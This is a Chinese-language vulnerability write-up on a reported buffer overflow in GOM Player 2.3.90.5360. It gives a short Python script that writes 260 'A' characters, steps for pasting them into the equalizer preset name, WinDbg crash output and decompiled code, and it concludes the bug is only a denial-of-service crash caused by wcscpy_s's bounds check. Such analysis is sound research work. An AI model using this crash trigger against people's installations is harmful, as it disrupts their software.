GOM Player 2.3.90.5360 - Buffer Overflow
z1r0 发表于 江苏 二进制安全 426浏览 · 2024-07-16 11:25

描述

GOM Player(Gretech Online Movie Player)是韩国的GRETECH开发的一款在Windows平台上的免费媒体播放器

软件下载:https://github.com/z1r00/Vulnerability_Analysis/tree/main/GOM_Player

Poc:

exploit = 'A' * 260

try:
    file = open("exploit.txt","w")
    file.write(exploit)
    file.close()

    print("POC is created")
except:
    print("POC is not created")

触发:

#  - Open GOM Player
#  - Click on the gear icon above to open settings
#  - From the meu that appears, select Audio
#  - Click on Equalizer
#  - Click on the plus sign to go to the "Add EQ preset" screen
#  - Copy the contents of exploit.txt and paste it into the preset name box, then click OK
#  - Crashed!

这个洞进行深入分析之后发现其实并不是真正意义上的Buffer Overflow,是wcscpy_s函数检测到了错误而主动抛出了异常,目前看来只能当作一个拒绝服务漏洞(bug)

漏洞分析

此漏洞是由于在添加均衡器预设名称时,当输入的内容大于等于预设名称空间,wcscpy_s检测到当目标缓存区大小无法容纳源字符串时,wcscpy_s函数将主动抛出异常,导致程序崩溃。目标缓存区大小这里是二参传进去的大小,用法是wcscpy_s(wchar_t Destination, rsize_t SizeInWords, const wchar_t Source)

用windbg启动程序,执行GOM.exe,将Poc添加到均衡器预设名称时发生崩溃,windbg此时处于crash现场

(219c.2778): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!)
Subcode: 0x5 FAST_FAIL_INVALID_ARG 
eax=00000001 ebx=0b1f0f70 ecx=00000005 edx=00000000 esi=00000022 edi=0b1f0f70
eip=00ee71de esp=01afecc8 ebp=01afece0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
GOM32Q_vc120_ReleaseQC+0x6371de:
00ee71de cd29            int     29h

它断在了_invoke_watson中,回溯堆栈状态

0:000> kb
 # ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 01afece0 00ee71cc     00000000 00000000 00000000 GOM32Q_vc120_ReleaseQC+0x6371de
01 01afed04 00ab6a63     01afee0c 00000104 0b1fb610 GOM32Q_vc120_ReleaseQC+0x6371cc
02 01aff058 00a9d040     0b1f39a0 00000001 00db723a GOM32Q_vc120_ReleaseQC+0x206a63
03 01aff11c 00db82e2     0104b640 0b1f39a0 00010004 GOM32Q_vc120_ReleaseQC+0x1ed040
04 01aff13c 00db392f     0000c2f8 0b1f39a0 00010004 GOM32Q_vc120_ReleaseQC+0x5082e2
05 01aff1ac 00db40ea     0b1f0f70 00050672 0000c2f8 GOM32Q_vc120_ReleaseQC+0x50392f
06 01aff1cc 753a16eb     00050672 0000c2f8 0b1f39a0 GOM32Q_vc120_ReleaseQC+0x5040ea
07 01aff1f8 75397b3a     00db40b6 00050672 0000c2f8 USER32!_InternalCallWinProc+0x2b
08 01aff2e0 75396471     00db40b6 00000000 0000c2f8 USER32!UserCallWinProcCheckWow+0x33a
09 01aff35c 75395f90     0000c1f8 01aff398 00dbc591 USER32!DispatchMessageWorker+0x4d1
0a 01aff368 00dbc591     01ec8cd8 00000000 01aff41c USER32!DispatchMessageW+0x10
0b 01aff398 00db2c90     00000004 00060046 01aff41c GOM32Q_vc120_ReleaseQC+0x50c591
0c 01aff3b0 00db2dbb     011d2660 057b64a0 008b0000 GOM32Q_vc120_ReleaseQC+0x502c90
0d 01aff408 009977b2     f571782c 057b64a0 fffffffe GOM32Q_vc120_ReleaseQC+0x502dbb
0e 01aff54c 00c02467     00000006 0000001b ffffffff GOM32Q_vc120_ReleaseQC+0xe77b2
0f 01aff56c 00db9d9e     057b64a0 0000041f 00000000 GOM32Q_vc120_ReleaseQC+0x352467
10 01aff59c 00db5f0e     0000041f 010776f0 00000000 GOM32Q_vc120_ReleaseQC+0x509d9e
11 01aff5ec 00c03f1d     0000041f 00000000 f5717a38 GOM32Q_vc120_ReleaseQC+0x505f0e
12 01aff678 00db6afb     0000041f 00000000 f5717b08 GOM32Q_vc120_ReleaseQC+0x353f1d
13 01aff730 00db82e2     00000111 0000041f 00000000 GOM32Q_vc120_ReleaseQC+0x506afb
14 01aff750 00db392f     00000111 0000041f 00000000 GOM32Q_vc120_ReleaseQC+0x5082e2
15 01aff7c0 00db40ea     057b64a0 00060046 00000111 GOM32Q_vc120_ReleaseQC+0x50392f
16 01aff7e0 753a16eb     00060046 00000111 0000041f GOM32Q_vc120_ReleaseQC+0x5040ea
17 01aff80c 75397b3a     00db40b6 00060046 00000111 USER32!_InternalCallWinProc+0x2b
18 01aff8f4 753972f6     00db40b6 00000000 00000111 USER32!UserCallWinProcCheckWow+0x33a
19 01aff92c 75395b1b     00000111 0000041f 00000000 USER32!CallWindowProcAorW+0x7f
1a 01aff944 009e9a45     00db40b6 00060046 00000111 USER32!CallWindowProcW+0x1b
1b 01aff9ec 753a16eb     00060046 00000111 0000041f GOM32Q_vc120_ReleaseQC+0x139a45
1c 01affa18 75397b3a     009e97c0 00060046 00000111 USER32!_InternalCallWinProc+0x2b
1d 01affb00 75396471     009e97c0 00000000 00000111 USER32!UserCallWinProcCheckWow+0x33a
1e 01affb7c 75395f90     00000011 01affbb4 00dbc591 USER32!DispatchMessageWorker+0x4d1
1f 01affb88 00dbc591     01ec8cd8 00000001 011a17e0 USER32!DispatchMessageW+0x10
20 01affbb4 00f0f850     00ed7d98 0000000a 00000000 GOM32Q_vc120_ReleaseQC+0x50c591
21 01affbc8 00ed7d1e     008b0000 00000000 01ec25da GOM32Q_vc120_ReleaseQC+0x65f850
22 01affc14 764afcc9     0196e000 764afcb0 01affc80 GOM32Q_vc120_ReleaseQC+0x627d1e
23 01affc24 770280ce     0196e000 648bdd27 00000000 KERNEL32!BaseThreadInitThunk+0x19
24 01affc80 7702809e     ffffffff 77049189 00000000 ntdll!__RtlUserThreadStart+0x2f
25 01affc90 00000000     00ed7d98 0196e000 00000000 ntdll!_RtlUserThreadStart+0x1b

00ab6a63是漏洞点地址,刚好是wcscpy_s函数,0b1fb610存放了输入的Poc

0:000> dc 0b1fb610
0b1fb610  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
0b1fb620  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
0b1fb630  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
0b1fb640  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
0b1fb650  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
0b1fb660  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
0b1fb670  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
0b1fb680  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
0:000> du 0b1fb610
0b1fb610  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0b1fb650  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0b1fb690  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0b1fb6d0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0b1fb710  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0b1fb750  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0b1fb790  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0b1fb7d0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0b1fb810  "AAAA"

利用wcscpy_s复制过去之后的数据存放在01afee0c中,很明显的发现头这里是空字节

0:000> dc 01afee0c
01afee0c  00410000 00410041 00410041 00410041  ..A.A.A.A.A.A.A.
01afee1c  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
01afee2c  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
01afee3c  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
01afee4c  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
01afee5c  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
01afee6c  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
01afee7c  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.

wcscpy_s的函数实现如下,循环复制,直到Source结尾(SizeInWords不为0)或SizeInWords为0。如果SizeInWords不为0,则说明到了Source结尾可以正常返回。如果为0,则说明Source的长度大于等于SizeInWords,将Destination的头数据设置为0并抛出异常,所以上面的01afee0c会出现头字节为0的情况

errno_t __cdecl wcscpy_s(wchar_t *Destination, rsize_t SizeInWords, const wchar_t *Source)
{
  rsize_t v3; // edx
  const wchar_t *v4; // ecx
  int *v5; // eax
  errno_t result; // eax
  wchar_t v7; // ax
  errno_t v8; // [esp-4h] [ebp-8h]

  if ( !Destination )
    goto LABEL_5;
  v3 = SizeInWords;
  if ( !SizeInWords )
    goto LABEL_5;
  v4 = Source;
  if ( !Source )
  {
    *Destination = 0;
LABEL_5:
    v5 = _errno();
    v8 = 22;
LABEL_6:
    *v5 = v8;
    _invalid_parameter_noinfo();
    return v8;
  }
  do
  {
    v7 = *v4;
    *(v4 + Destination - Source) = *v4;
    ++v4;
    if ( !v7 )
      break;
    --v3;
  }
  while ( v3 );
  result = 0;
  if ( !v3 )
  {
    *Destination = 0;
    v5 = _errno();
    v8 = 34;
    goto LABEL_6;
  }
  return result;
}

这里有个非常明显问题,如果限制大小是0x104,刚好输入符合要求的0x104也会抛出异常。对于本案例,允许输入的大小大于等于0x104,所以只要大于等于0x104都会抛出异常让程序崩溃

经过调试之后发现,在均衡器预设这里会进入sub_6077E0函数进行表项判断

0:000> t
eax=012e1678 ebx=0a80ff58 ecx=0a80ff58 edx=00000001 esi=7fffffff edi=7fffffff
eip=00d477e0 esp=004fecec ebp=004fedac iopl=0         nv up ei ng nz ac po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200293
GOM32Q_vc120_ReleaseQC+0x2077e0:
00d477e0 55              push    ebp

利用sub_90A38F获取表项ID,+号的表项ID为0x00004b1

0:000> 
eax=00000001 ebx=0a80ff58 ecx=0a90bf90 edx=00000000 esi=0a90bf90 edi=0a80ff58
eip=00d47806 esp=004fece0 ebp=004fece8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
GOM32Q_vc120_ReleaseQC+0x207806:
00d47806 e8842b3000      call    GOM32Q_vc120_ReleaseQC+0x50a38f (0104a38f)
0:000> p
eax=000004b1 ebx=0a80ff58 ecx=00000000 edx=00000000 esi=0a90bf90 edi=0a80ff58
eip=00d4780b esp=004fece0 ebp=004fece8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
GOM32Q_vc120_ReleaseQC+0x20780b:
00d4780b 2db1040000      sub     eax,4B1h

根据表项ID执行对应的操作,+号会去执行sub_606910

void __thiscall sub_6077E0(HWND *this, int a2, int a3)
{
  int v4; // eax

  if ( a2 && IsWindow(*(a2 + 32)) && a3 == 1 )
  {
    v4 = sub_90A38F(a2) - 1201;
    if ( v4 )
    {
      if ( v4 == 1 )
        sub_606BD0(this);
    }
    else
    {
      sub_606910(this);
    }
  }
}

在sub_606910中,首先进行初始化,load_window显示对话框并进行添加修改选择,将选择的操作作为返回值返回(v3)。操作状态为100是添加预设,101是修改预设

0:000> p
eax=00000018 ebx=0c003a38 ecx=76fb1cfc edx=00000000 esi=00000064 edi=0c003a38
eip=00ab6a01 esp=0086eac8 ebp=0086ee08 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
GOM32Q_vc120_ReleaseQC+0x206a01:
00ab6a01 83fe64          cmp     esi,64h

进入添加预设功能时,会将输入的数据转到Source中,并利用wcscpy_s将数据复制到Destination中,并没有对输入数据的大小进行检测限制

int __thiscall sub_606910(void *this)
{
  int v2; // ecx
  int v3; // esi
  int v4; // eax
  int v5; // eax
  void *v6; // edi
  int v7; // eax
  int v8; // eax
  int v9; // eax
  _DWORD *v10; // esi
  int v11; // edi
  wchar_t *v12; // edx
  wchar_t *Source; // [esp+10h] [ebp-324h] BYREF
  int v15[43]; // [esp+14h] [ebp-320h] BYREF
  int v16; // [esp+C0h] [ebp-274h]
  wchar_t Destination[260]; // [esp+F4h] [ebp-240h] BYREF
  char v18[40]; // [esp+2FCh] [ebp-38h] BYREF
  int v19; // [esp+330h] [ebp-4h]

  if ( (dword_CF83C4 & 1) == 0 )
  {
    dword_CF83C4 |= 1u;
    dword_CF83C8 = 0;
    atexit(nullsub_8);
    v19 = -1;
  }
  (*(*dword_CF83C8 + 56))(dword_CF83C8);
  sub_646A00(v15, 2, 0, 0, v2);
  v19 = 1;
  v3 = load_window(v15);
  if ( (dword_CF83C4 & 1) == 0 )
  {
    dword_CF83C4 |= 1u;
    LOBYTE(v19) = 2;
    dword_CF83C8 = 0;
    atexit(nullsub_8);
    LOBYTE(v19) = 1;
  }
  (*(*dword_CF83C8 + 64))(dword_CF83C8);
  if ( v3 == 'd' )
  {
    v4 = v16;
    if ( v16 || (sub_646D00(v15), (v4 = v16) != 0) )
    {
      v5 = v4 - 116;
      if ( v5 )
      {
        sub_44A540(&Source, *(v5 + 144));
        LOBYTE(v19) = 3;
        wcscpy_s(Destination, 0x104u, Source);
        sub_5CE090(v18);
        v6 = *(sub_7B4DC0(&dword_CF1C10, Destination) + 8);
        if ( *(sub_90A3AA(this, 1301) + 180) == 1 )
          v7 = -1;
        else
          v7 = sub_5C71F0(v6, v6);
LABEL_22:
        sub_5C74F0(v7);
LABEL_23:
        LOBYTE(v19) = 1;
        v12 = Source - 8;
        if ( _InterlockedDecrement(Source - 1) <= 0 )
          (*(**v12 + 4))(v12);
      }
    }
  }
  else if ( v3 == 101 )
  {
    v8 = v16;
    if ( v16 || (sub_646D00(v15), (v8 = v16) != 0) )
    {
      v9 = v8 - 116;
      if ( v9 )
      {
        sub_44A540(&Source, *(v9 + 144));
        LOBYTE(v19) = 5;
        v10 = dword_CF1C14;
        if ( !dword_CF1C14 )
          goto LABEL_23;
        while ( 1 )
        {
          v11 = v10[2];
          v10 = *v10;
          if ( sub_44E730(&Source, v11) )
            break;
          if ( !v10 )
            goto LABEL_23;
        }
        if ( !v11 )
          goto LABEL_23;
        sub_5CE090(v11 + 520);
        sub_90A3AA(this, 1301);
        v7 = sub_5C7650(v11);
        if ( v7 < 0 )
          goto LABEL_23;
        goto LABEL_22;
      }
    }
  }
  v19 = -1;
  return sub_646C50();
}

这里省去了一些GUI代码逻辑,经过分析之后发现这个洞(bug)非常鸡肋,是由wcscpy_s的函数实现所产生的

Reference

https://www.exploit-db.com/exploits/51724

0 条评论
某人
表情
可输入 255
目录